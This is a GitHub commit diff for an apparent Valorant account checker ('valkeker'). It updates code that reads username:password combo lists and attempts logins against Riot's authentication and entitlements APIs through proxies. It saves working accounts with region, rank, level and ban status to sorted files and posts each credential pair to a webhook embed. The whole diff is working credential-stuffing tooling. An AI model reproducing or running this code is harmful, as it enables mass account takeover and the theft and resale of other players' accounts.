Skip to content
This repository has been archived by the owner on Jan 30, 2025. It is now read-only.

Commit

Permalink
v3.7.1
Browse files Browse the repository at this point in the history
fixed api error
+ progressbar
  • Loading branch information
LIL-JABA committed Sep 28, 2022
1 parent a933e5b commit 22510c3
Show file tree
Hide file tree
Showing 5 changed files with 605 additions and 122 deletions.
21 changes: 14 additions & 7 deletions src/checker.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,8 @@
import threading
from InquirerPy.separator import Separator
from datetime import datetime
import asyncio
import sys as syst

from colorama import Fore, Style

Expand Down Expand Up @@ -193,6 +195,11 @@ def checker(self,username,password):
break
try:
token,entt,uuid,mailverif,banuntil=authenticate.auth(account,proxy=proxy)
#token=authenticate.access_token
#entt=authenticate.entitlements_token
#mailverif=authenticate.mailverif
#uuid=authenticate.user_id
#banuntil=authenticate.banuntil
if banuntil!=None:
banuntil=stff.checkban(banuntil)
if token == 2:
Expand Down Expand Up @@ -241,9 +248,9 @@ def checker(self,username,password):
self.unverifiedmail+=1
while True:
reg,lvl=sys.get_region(token)
reg2=sys.get_region2(token)
reg=reg2 if reg2 != False else reg
if reg!=False and reg!='' and reg != 'False':
reg2,country=sys.get_region2(token)
reg=reg2 if reg == 'N/A' else reg
if reg!='N/A' and reg!='':
if banuntil==None:
self.regions[str(reg).lower()]+=1
rank=None
Expand Down Expand Up @@ -297,7 +304,7 @@ def checker(self,username,password):
file.write(f'''|[{account}]
------------------------------------
|ban until------> {banuntil}
|region---------> {reg}
|region---------> {reg} ({country})
|rank-----------> {rank}
|level----------> {lvl}
|lastmatch------> {lastplayed}
Expand All @@ -321,7 +328,7 @@ def checker(self,username,password):
with open (f'{self.outpath}/valid.txt', 'a', encoding='UTF-8') as file:
file.write(f'''|[{account}]
------------------------------------
|region---------> {reg}
|region---------> {reg} ({country})
|rank-----------> {rank}
|level----------> {lvl}
|lastmatch------> {lastplayed}
Expand All @@ -347,7 +354,7 @@ def checker(self,username,password):
with open(f'{self.outpath}/regions/{reg}/{rank}.txt','a',encoding='UTF-8') as file:
file.write(f'''|[{account}]
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓{bantext}
|region---------> {reg}
|region---------> {reg} ({country})
|rank-----------> {rank}
|level----------> {lvl}
|lastmatch------> {lastplayed}
Expand Down Expand Up @@ -384,7 +391,7 @@ def checker(self,username,password):
embed.set_author(name='valkeker')
embed.set_timestamp()
embed.add_embed_field(name='LogPass', value=account)
embed.add_embed_field(name='Region', value=reg)
embed.add_embed_field(name='Region', value=f'{reg} ({country})')
embed.add_embed_field(name='Rank', value=rank)
embed.add_embed_field(name='Level', value=lvl)
embed.add_embed_field(name='Lastmatch', value=lastplayed)
Expand Down
177 changes: 72 additions & 105 deletions src/codeparts/auth.py
Original file line number Diff line number Diff line change
@@ -1,138 +1,105 @@
import os
import traceback
from collections import OrderedDict
from re import compile
import re
from ssl import PROTOCOL_TLSv1_2
from tkinter import *
import traceback
import pandas
import asyncio
import http,http.client
import sys

from requests import session as sesh,exceptions
import pandas
import requests
from requests.adapters import HTTPAdapter
import urllib3.exceptions
from urllib3 import PoolManager

from codeparts import systems
from codeparts import riot_auth
from codeparts.riot_auth import auth_exceptions,auth
from codeparts import exceptions, riot_auth, systems

sys=systems.system()
syst=systems.system()

class TLSAdapter(HTTPAdapter):
def init_poolmanager(self, connections, maxsize, block=False):
self.poolmanager = PoolManager(num_pools=connections, maxsize=maxsize, block=block,
ssl_version=PROTOCOL_TLSv1_2)
self.poolmanager = PoolManager(num_pools=connections, maxsize=maxsize, block=block, ssl_version=PROTOCOL_TLSv1_2)

class auth():
def __init__(self) -> None:
pass
path = os.getcwd()
self.parentpath=os.path.abspath(os.path.join(path, os.pardir))


def auth(self,logpass=None,username=None,password=None,proxy=None):
try:
if username ==None:
username=logpass.split(':')[0]
password=logpass.split(':')[1]
headers = OrderedDict({
"Accept-Language": "en-US,en;q=0.9",
"Accept": "application/json, text/plain, */*",
'User-Agent': 'RiotClient/51.0.0.4429735.4381201 rso-auth (Windows;10;;Professional, x64)'
'User-Agent': 'RiotClient/58.0.0.4640299.4552318 rso-auth (Windows;10;;Professional, x64)'
})
session = sesh()
session.headers = headers
session=requests.Session()
session.trust_env=False
session.headers=headers
session.mount('https://', TLSAdapter())
session.mount('http://', TLSAdapter())
#data = {
# "acr_values": "urn:riot:bronze",
# "claims": "",
# "client_id": "riot-client",
# "nonce": "oYnVwCSrlS5IHKh7iI16oQ",
# "redirect_uri": "http://localhost/redirect",
# "response_type": "token id_token",
# "scope": "openid link ban lol_region",
#}
#headers = {
# 'Content-Type': 'application/json',
# 'User-Agent': 'RiotClient/51.0.0.4429735.4381201 rso-auth (Windows;10;;Professional, x64)'
#}
#try:
# r = session.post(f'https://auth.riotgames.com/api/v1/authorization', json=data, headers=headers,proxies=proxy,timeout=20)
# data = {
# 'type': 'auth',
# 'username': username,
# 'password': password
# }
# r2 = session.put('https://auth.riotgames.com/api/v1/authorization', json=data, headers=headers,proxies=proxy,timeout=20)
# input(r2.text)
##except requests.exceptions.ConnectTimeout:
## return 6,6,6,True,None
##except requests.exceptions.ProxyError:
## return 6,6,6,True,None
##except urllib3.exceptions.MaxRetryError:
## return 6,6,6,True,None
##except http.client.RemoteDisconnected:
## return 6,6,6,True,None
##except urllib3.exceptions.ConnectTimeoutError:
## return 6,6,6,True,None
##except urllib3.exceptions.TimeoutError:
## return 6,6,6,True,None
#except Exception as e:
# input(e)
# return 6,6,6,True,None
##print(r2.text)
#try:
# data = r2.json()
#except:
# return 6,6,6,6,None
#if "access_token" in r2.text:
# pattern = compile(
# 'access_token=((?:[a-zA-Z]|\d|\.|-|_)*).*id_token=((?:[a-zA-Z]|\d|\.|-|_)*).*expires_in=(\d*)')
# data = pattern.findall(data['response']['parameters']['uri'])[0]
# token = data[0]
# token_id=data[1]
#
#elif 'invalid_session_id' in r2.text:
# return 6,6,6,6,None
#elif "auth_failure" in r2.text:
# return 3,3,3,3,None
#elif 'rate_limited' in r2.text:
# return 1,1,1,1,None
#elif 'multifactor' in r2.text:
# return 3,3,3,3,None
#elif 'cloudflare' in r2.text:
# return 5,5,5,5,None
asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
if username ==None:
username=logpass.split(':')[0]
password=logpass.split(':')[1]

data = {
"client_id": "play-valorant-web-prod",
"nonce": "1",
"redirect_uri": "https://playvalorant.com/opt_in",
"response_type": "token id_token",
'scope': 'account openid',
}
headers = {
'Content-Type': 'application/json',
'User-Agent': 'RiotClient/58.0.0.4640299.4552318 rso-auth (Windows;10;;Professional, x64)',
}
try:
auth = riot_auth.RiotAuth(proxy)
asyncio.run(auth.authorize(username,password))
except riot_auth.RiotRatelimitError: return 1,1,1,1,None
except riot_auth.RiotAuthenticationError: return 3,3,3,3,None
except riot_auth.RiotMultifactorError: return 3,3,3,3,None
except riot_auth.RiotAuthError: return 3,3,3,3,None
token=auth.access_token
#respauth=asyncio.run(auth.reauthorize())
#input(respauth)
r = session.post(f'https://auth.riotgames.com/api/v1/authorization', json=data, headers=headers,proxies=proxy,timeout=20)
#input(r.text)
data = {
'type': 'auth',
'username': username,
'password': password
}
r2 = session.put('https://auth.riotgames.com/api/v1/authorization', json=data, headers=headers,proxies=proxy,timeout=20)
#input(r2.text)
except Exception as e:
#input(e)
return 6,6,6,True,None
#print(r2.text)
try:
data = r2.json()
except:
return 6,6,6,6,None
if "access_token" in r2.text:
pattern = compile(
'access_token=((?:[a-zA-Z]|\d|\.|-|_)*).*id_token=((?:[a-zA-Z]|\d|\.|-|_)*).*expires_in=(\d*)')
data = pattern.findall(data['response']['parameters']['uri'])[0]
token = data[0]
token_id=data[1]

#headers = {
# 'User-Agent': 'RiotClient/51.0.0.4429735.4381201 rso-auth (Windows;10;;Professional, x64)',
# 'Authorization': f'Bearer {token}'
#}
#try:
# r = session.post('https://entitlements.auth.riotgames.com/api/token/v1', headers=headers, json={},proxies=proxy)
# input(r.text)
# entitlement = r.json()['entitlements_token']
# r = session.post('https://auth.riotgames.com/userinfo', headers=headers, json={},proxies=proxy)
#except:
# return 6,6,6,True,None
elif 'invalid_session_id' in r2.text:
return 6,6,6,6,None
elif "auth_failure" in r2.text:
return 3,3,3,3,None
elif 'rate_limited' in r2.text:
return 1,1,1,1,None
elif 'multifactor' in r2.text:
return 3,3,3,3,None
elif 'cloudflare' in r2.text:
return 5,5,5,5,None
headers = {
'User-Agent': 'RiotClient/58.0.0.4640299.4552318 rso-auth (Windows;10;;Professional, x64)',
'Authorization': f'Bearer {token}'
}
try:
r = session.post('https://entitlements.auth.riotgames.com/api/token/v1', headers=headers, json={},proxies=proxy)
entitlement = r.json()['entitlements_token']
r = session.post('https://auth.riotgames.com/userinfo', headers=headers, json={},proxies=proxy)
except:
return 6,6,6,True,None
#print(r.text)
#input()
entitlement=auth.entitlements_token
data = r.json()
#print(data)
#input()
data=auth.data2
#input(data)
puuid = data['sub']
try:
data2=data['ban']
Expand Down
Loading

0 comments on commit 22510c3

Please sign in to comment.